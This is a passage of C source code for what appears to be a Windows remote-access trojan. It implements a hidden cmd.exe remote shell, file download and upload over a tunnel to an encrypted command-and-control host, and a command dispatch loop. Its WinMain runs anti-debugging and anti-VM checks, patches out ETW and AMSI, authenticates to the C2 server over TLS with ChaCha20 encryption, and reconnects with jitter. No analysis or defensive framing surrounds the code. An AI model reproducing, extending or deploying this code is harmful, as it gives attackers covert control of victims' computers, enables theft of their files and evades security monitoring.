    if (!(api.pCreatePipe ? api.pCreatePipe(&hStdinRead, &hStdinWrite, &sa, 0)
                          : CreatePipe(&hStdinRead, &hStdinWrite, &sa, 0))) {
        send_cmd(CMD_SHELL_CLOSE, sid, NULL, 0); return;
    }
    if (!(api.pCreatePipe ? api.pCreatePipe(&hStdoutRead, &hStdoutWrite, &sa, 0)
                          : CreatePipe(&hStdoutRead, &hStdoutWrite, &sa, 0))) {
        CloseHandle(hStdinRead); CloseHandle(hStdinWrite);
        send_cmd(CMD_SHELL_CLOSE, sid, NULL, 0); return;
    }

    SetHandleInformation(hStdinWrite, HANDLE_FLAG_INHERIT, 0);
    SetHandleInformation(hStdoutRead, HANDLE_FLAG_INHERIT, 0);

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    memset(&si, 0, sizeof(si));
    memset(&pi, 0, sizeof(pi));
    si.cb = sizeof(si);
    si.hStdInput  = hStdinRead;
    si.hStdOutput = hStdoutWrite;
    si.hStdError  = hStdoutWrite;
    si.dwFlags    = STARTF_USESTDHANDLES;

    char cmd[8];
    decrypt_str(enc_cmd_exe, 7, cmd);

    BOOL ok;
    if (api.pCreateProcessA)
        ok = api.pCreateProcessA(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    else
        ok = CreateProcessA(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    memset(cmd, 0, 8);

    CloseHandle(hStdinRead);
    CloseHandle(hStdoutWrite);

    if (!ok) {
        CloseHandle(hStdinWrite); CloseHandle(hStdoutRead);
        send_cmd(CMD_SHELL_CLOSE, sid, NULL, 0);
        return;
    }
    CloseHandle(pi.hThread);

    sc->sid = sid;
    sc->hProcess = pi.hProcess;
    sc->hStdinWrite = hStdinWrite;
    sc->hStdoutRead = hStdoutRead;
    sc->running = 1;

    CreateThread(NULL, 0, shell_reader_thread, sc, 0, NULL);
}

static void handle_shell_data(uint32_t sid, uint8_t *data, int dlen) {
    int i;
    for (i = 0; i < MAX_SHELLS; i++) {
        if (g_shells[i].running && g_shells[i].sid == sid) {
            DWORD written;
            if (api.pWriteFile)
                api.pWriteFile(g_shells[i].hStdinWrite, data, dlen, &written, NULL);
            else
                WriteFile(g_shells[i].hStdinWrite, data, dlen, &written, NULL);
            return;
        }
    }
}

static void handle_shell_close(uint32_t sid) {
    int i;
    for (i = 0; i < MAX_SHELLS; i++) {
        if (g_shells[i].sid == sid && (g_shells[i].running || g_shells[i].hProcess)) {
            g_shells[i].running = 0;
            if (g_shells[i].hProcess) {
                TerminateProcess(g_shells[i].hProcess, 0);
                CloseHandle(g_shells[i].hProcess);
            }
            if (g_shells[i].hStdinWrite) CloseHandle(g_shells[i].hStdinWrite);
            if (g_shells[i].hStdoutRead) CloseHandle(g_shells[i].hStdoutRead);
            memset(&g_shells[i], 0, sizeof(ShellCtx));
            return;
        }
    }
}

/* =========================================================================
 * SECTION Q: File Transfer — DOWNLOAD and UPLOAD
 * ========================================================================= */
#define DL_CHUNK_SIZE 61440

static DWORD WINAPI handle_download_thread(LPVOID p) {
    ConnectArgs *args = (ConnectArgs*)p;
    uint32_t sid = args->sid;
    char filepath[512];
    memset(filepath, 0, sizeof(filepath));
    int pathlen = args->dlen;
    if (pathlen > 510) pathlen = 510;
    memcpy(filepath, args->data, pathlen);
    HeapFree(GetProcessHeap(), 0, args);

    HANDLE hFile;
    if (api.pCreateFileA)
        hFile = api.pCreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ, NULL,
                                 OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    else
        hFile = CreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ, NULL,
                            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        send_cmd(CMD_DOWNLOAD_ERR, sid, NULL, 0);
        return 0;
    }

    DWORD fsz_hi = 0, fsz_lo;
    if (api.pGetFileSize)
        fsz_lo = api.pGetFileSize(hFile, &fsz_hi);
    else
        fsz_lo = GetFileSize(hFile, &fsz_hi);

    uint8_t szdata[8];
    szdata[0]=(uint8_t)fsz_lo; szdata[1]=(uint8_t)(fsz_lo>>8);
    szdata[2]=(uint8_t)(fsz_lo>>16); szdata[3]=(uint8_t)(fsz_lo>>24);
    szdata[4]=(uint8_t)fsz_hi; szdata[5]=(uint8_t)(fsz_hi>>8);
    szdata[6]=(uint8_t)(fsz_hi>>16); szdata[7]=(uint8_t)(fsz_hi>>24);
    send_cmd(CMD_DOWNLOAD_DATA, sid, szdata, 8);

    uint8_t *chunk = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, DL_CHUNK_SIZE);
    if (!chunk) {
        send_cmd(CMD_DOWNLOAD_ERR, sid, NULL, 0);
        CloseHandle(hFile);
        return 0;
    }
    DWORD nread;
    while (1) {
        BOOL ok;
        if (api.pReadFile) ok = api.pReadFile(hFile, chunk, DL_CHUNK_SIZE, &nread, NULL);
        else ok = ReadFile(hFile, chunk, DL_CHUNK_SIZE, &nread, NULL);
        if (!ok || nread == 0) break;
        send_cmd(CMD_DOWNLOAD_DATA, sid, chunk, (int)nread);
    }
    HeapFree(GetProcessHeap(), 0, chunk);
    CloseHandle(hFile);
    send_cmd(CMD_DOWNLOAD_END, sid, NULL, 0);
    return 0;
}

typedef struct { uint32_t sid; HANDLE hFile; int active; } UploadCtx;
#define MAX_UPLOADS 16
static UploadCtx g_uploads[MAX_UPLOADS];

static void handle_upload_start(uint32_t sid, uint8_t *data, int dlen) {
    char filepath[512];
    int i;
    memset(filepath, 0, sizeof(filepath));
    int pathlen = dlen > 510 ? 510 : dlen;
    memcpy(filepath, data, pathlen);

    UploadCtx *uc = NULL;
    for (i = 0; i < MAX_UPLOADS; i++) {
        if (!g_uploads[i].active) { uc = &g_uploads[i]; break; }
    }
    if (!uc) { send_cmd(CMD_UPLOAD_ERR, sid, NULL, 0); return; }

    HANDLE hFile;
    if (api.pCreateFileA)
        hFile = api.pCreateFileA(filepath, GENERIC_WRITE, 0, NULL,
                                 CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    else
        hFile = CreateFileA(filepath, GENERIC_WRITE, 0, NULL,
                            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        send_cmd(CMD_UPLOAD_ERR, sid, NULL, 0);
        return;
    }
    uc->sid = sid;
    uc->hFile = hFile;
    uc->active = 1;
    send_cmd(CMD_UPLOAD_OK, sid, NULL, 0);
}

static void handle_upload_data(uint32_t sid, uint8_t *data, int dlen) {
    int i;
    for (i = 0; i < MAX_UPLOADS; i++) {
        if (g_uploads[i].active && g_uploads[i].sid == sid) {
            DWORD written;
            if (api.pWriteFile)
                api.pWriteFile(g_uploads[i].hFile, data, dlen, &written, NULL);
            else
                WriteFile(g_uploads[i].hFile, data, dlen, &written, NULL);
            return;
        }
    }
}

static void handle_upload_end(uint32_t sid) {
    int i;
    for (i = 0; i < MAX_UPLOADS; i++) {
        if (g_uploads[i].active && g_uploads[i].sid == sid) {
            CloseHandle(g_uploads[i].hFile);
            g_uploads[i].active = 0;
            g_uploads[i].hFile = NULL;
            send_cmd(CMD_UPLOAD_OK, sid, NULL, 0);
            return;
        }
    }
}

/* =========================================================================
 * SECTION R: Tunnel loop — dispatch all commands
 * ========================================================================= */
static void tunnel_loop(void) {
    uint8_t *buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, BUF_SIZE);
    if (!buf) return;
    int i;

    /* Note: recv timeout is handled at the TLS layer through the
       underlying socket. We still set it on the raw socket. */
    DWORD recv_timeout = 360000;
    setsockopt(g_tunnel, SOL_SOCKET, SO_RCVTIMEO, (char*)&recv_timeout, sizeof(recv_timeout));

    while (1) {
        int n = tunnel_recv(&g_ctx, g_tunnel, buf, BUF_SIZE);
        if (n < 5) break;

        uint8_t cmd = buf[0];
        uint32_t sid = ((uint32_t)buf[1]<<24) | ((uint32_t)buf[2]<<16) |
                       ((uint32_t)buf[3]<<8)  | (uint32_t)buf[4];

        switch (cmd) {
            case CMD_CONNECT: {
                int dlen = n - 5;
                if (dlen > 0 && dlen < 512) {
                    ConnectArgs *ca = (ConnectArgs*)HeapAlloc(GetProcessHeap(), 0, sizeof(ConnectArgs));
                    if (ca) {
                        ca->sid = sid; ca->dlen = dlen;
                        memcpy(ca->data, buf + 5, dlen);
                        CreateThread(NULL, 0, handle_connect_thread, ca, 0, NULL);
                    } else {
                        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
                    }
                } else {
                    send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
                }
                break;
            }

            case CMD_DATA:
                for (i = 0; i < MAX_STREAMS; i++) {
                    if (streams[i].active && streams[i].id == sid) {
                        sendall(streams[i].sock, (char*)(buf+5), n-5);
                        break;
                    }
                }
                break;

            case CMD_CLOSE:
                for (i = 0; i < MAX_STREAMS; i++) {
                    if (streams[i].active && streams[i].id == sid) {
                        closesocket(streams[i].sock);
                        streams[i].active = 0;
                        break;
                    }
                }
                break;

            case CMD_HEARTBEAT:
                send_cmd(CMD_HEARTBEAT, 0, NULL, 0);
                break;

            case CMD_SLEEP:
                if (n >= 9) {
                    DWORD secs = ((uint32_t)buf[5]<<24) | ((uint32_t)buf[6]<<16) |
                                 ((uint32_t)buf[7]<<8)  | (uint32_t)buf[8];
                    g_sleep_seconds = secs;
                    HeapFree(GetProcessHeap(), 0, buf);
                    return;
                }
                break;

            case CMD_SHELL_OPEN:  handle_shell_open(sid); break;
            case CMD_SHELL_DATA:  handle_shell_data(sid, buf + 5, n - 5); break;
            case CMD_SHELL_CLOSE: handle_shell_close(sid); break;

            case CMD_DOWNLOAD: {
                int dlen = n - 5;
                if (dlen > 0 && dlen < 512) {
                    ConnectArgs *ca = (ConnectArgs*)HeapAlloc(GetProcessHeap(), 0, sizeof(ConnectArgs));
                    if (ca) {
                        ca->sid = sid; ca->dlen = dlen;
                        memcpy(ca->data, buf + 5, dlen);
                        CreateThread(NULL, 0, handle_download_thread, ca, 0, NULL);
                    } else {
                        send_cmd(CMD_DOWNLOAD_ERR, sid, NULL, 0);
                    }
                } else {
                    send_cmd(CMD_DOWNLOAD_ERR, sid, NULL, 0);
                }
                break;
            }

            case CMD_UPLOAD:      handle_upload_start(sid, buf + 5, n - 5); break;
            case CMD_UPLOAD_DATA: handle_upload_data(sid, buf + 5, n - 5); break;
            case CMD_UPLOAD_END:  handle_upload_end(sid); break;
        }
    }
    HeapFree(GetProcessHeap(), 0, buf);
}

/* =========================================================================
 * SECTION S: TLS-aware auth handshake helpers
 *
 * During auth (challenge-response + CC86 marker), we send/recv through
 * the TLS layer since TLS is already established at that point.
 * ========================================================================= */
static int tls_sendall(TLS_CTX *tls, const uint8_t *buf, int len) {
    return tls_send(tls, buf, len) == len ? 0 : -1;
}

static int tls_recvall(TLS_CTX *tls, uint8_t *buf, int len) {
    return tls_recv_exact(tls, buf, len) == len ? 0 : -1;
}

/* =========================================================================
 * SECTION T: WinMain — x86 entry point (_WinMain@16 stdcall)
 * ========================================================================= */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
    WSADATA wsa;
    int i;

    WSAStartup(MAKEWORD(2, 2), &wsa);
    InitializeCriticalSection(&g_lock);
    memset(streams, 0, sizeof(streams));
    memset(g_shells, 0, sizeof(g_shells));
    memset(g_uploads, 0, sizeof(g_uploads));

    /* Resolve APIs */
    resolve_apis();

    /* Anti-debug */
    if (check_debugger()) {
        WSACleanup();
        ExitProcess(0);
        return 0;
    }

    /* Anti-VM */
    if (check_vm()) {
        obfuscated_sleep(60000);
        WSACleanup();
        ExitProcess(0);
        return 0;
    }

    /* ETW + AMSI bypass */
    patch_etw();
    patch_amsi();

    /* Init crypto */
    char secret[ENC_SECRET_LEN + 1];
    decrypt_str(enc_secret, ENC_SECRET_LEN, secret);
    cc20_init(&g_ctx, (const uint8_t*)secret, ENC_SECRET_LEN);
    memset(secret, 0, sizeof(secret));

    /* Decrypt C2 host */
    char c2_host[ENC_C2_HOST_LEN + 1];
    decrypt_str(enc_c2_host, ENC_C2_HOST_LEN, c2_host);

    /* Reconnect loop */
    while (1) {
        if (g_sleep_seconds > 0) {
            DWORD ms = g_sleep_seconds * 1000;
            g_sleep_seconds = 0;
            obfuscated_sleep(ms);
        }

        /* TCP connect */
        struct sockaddr_in addr;
        g_tunnel = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (g_tunnel == INVALID_SOCKET) {
            obfuscated_sleep(RECONNECT_DELAY);
            continue;
        }

        addr.sin_family = AF_INET;
        addr.sin_port = htons(C2_PORT);
        /* inet_addr for Win2003 compat — no inet_pton */
        addr.sin_addr.s_addr = inet_addr(c2_host);
        if (addr.sin_addr.s_addr == INADDR_NONE) {
            /* Try DNS lookup for hostname */
            struct hostent *he = gethostbyname(c2_host);
            if (he && he->h_addr_list[0]) {
                memcpy(&addr.sin_addr, he->h_addr_list[0], 4);
            } else {
                closesocket(g_tunnel);
                obfuscated_sleep(RECONNECT_DELAY);
                continue;
            }
        }

        if (connect(g_tunnel, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
            closesocket(g_tunnel);
            obfuscated_sleep(RECONNECT_DELAY);
            continue;
        }

        /* TCP keepalive */
        {
            BOOL opt = TRUE;
            setsockopt(g_tunnel, SOL_SOCKET, SO_KEEPALIVE, (char*)&opt, sizeof(opt));
        }

        /* ============ Schannel TLS Handshake ============
         * Establish TLS 1.2 over the raw TCP connection BEFORE
         * sending any application data. All subsequent I/O
         * (auth handshake, CC86 marker, tunnel frames) goes
         * through EncryptMessage/DecryptMessage.
         */
        g_tls = tls_connect(g_tunnel, c2_host);
        if (!g_tls) {
            closesocket(g_tunnel);
            obfuscated_sleep(RECONNECT_DELAY);
            continue;
        }

        /* ============ Challenge-response auth (over TLS) ============ */
        {
            uint8_t challenge[32], response[32], auth_buf[64];
            char sec[ENC_SECRET_LEN + 1];
            decrypt_str(enc_secret, ENC_SECRET_LEN, sec);

            if (tls_recvall(g_tls, challenge, 32) != 0) {
                memset(sec, 0, sizeof(sec));
                tls_shutdown(g_tls); g_tls = NULL;
                closesocket(g_tunnel);
                obfuscated_sleep(RECONNECT_DELAY);
                continue;
            }

            memcpy(auth_buf, sec, ENC_SECRET_LEN);
            if (ENC_SECRET_LEN < 32) memset(auth_buf + ENC_SECRET_LEN, 0, 32 - ENC_SECRET_LEN);
            memcpy(auth_buf + 32, challenge, 32);
            sha256_hash(auth_buf, 64, response);
            memset(sec, 0, sizeof(sec));

            if (tls_sendall(g_tls, response, 32) != 0) {
                tls_shutdown(g_tls); g_tls = NULL;
                closesocket(g_tunnel);
                obfuscated_sleep(RECONNECT_DELAY);
                continue;
            }
        }

        /* ============ CC86 handshake (over TLS) ============
         * x86 marker — server knows to use simple_mac
         */
        {
            uint8_t marker[4] = {'C','C','8','6'};
            if (tls_sendall(g_tls, marker, 4) != 0) {
                tls_shutdown(g_tls); g_tls = NULL;
                closesocket(g_tunnel);
                obfuscated_sleep(RECONNECT_DELAY);
                continue;
            }
            uint8_t confirm[4];
            if (tls_recvall(g_tls, confirm, 4) != 0 ||
                memcmp(confirm, "CC86", 4) != 0) {
                tls_shutdown(g_tls); g_tls = NULL;
                closesocket(g_tunnel);
                obfuscated_sleep(RECONNECT_DELAY);
                continue;
            }
        }

        g_ctx.send_ctr = 0;
        g_ctx.recv_ctr = 0;

        /* Enter tunnel loop — all frames go through TLS + ChaCha20 */
        tunnel_loop();

        /* Cleanup */
        tls_shutdown(g_tls);
        g_tls = NULL;
        closesocket(g_tunnel);
        for (i = 0; i < MAX_STREAMS; i++) {
            if (streams[i].active) { closesocket(streams[i].sock); streams[i].active = 0; }
        }
        for (i = 0; i < MAX_SHELLS; i++) {
            if (g_shells[i].running || g_shells[i].hProcess) handle_shell_close(g_shells[i].sid);
        }
        for (i = 0; i < MAX_UPLOADS; i++) {
            if (g_uploads[i].active) {
                CloseHandle(g_uploads[i].hFile);
                g_uploads[i].active = 0;
            }
        }

        /* Reconnect with jitter */
        DWORD tick = api.pGetTickCount ? api.pGetTickCount() : GetTickCount();
        DWORD jitter = RECONNECT_DELAY + (tick % RECONNECT_JITTER);
        obfuscated_sleep(jitter);
    }

    memset(c2_host, 0, sizeof(c2_host));
    WSACleanup();
    return 0;
}
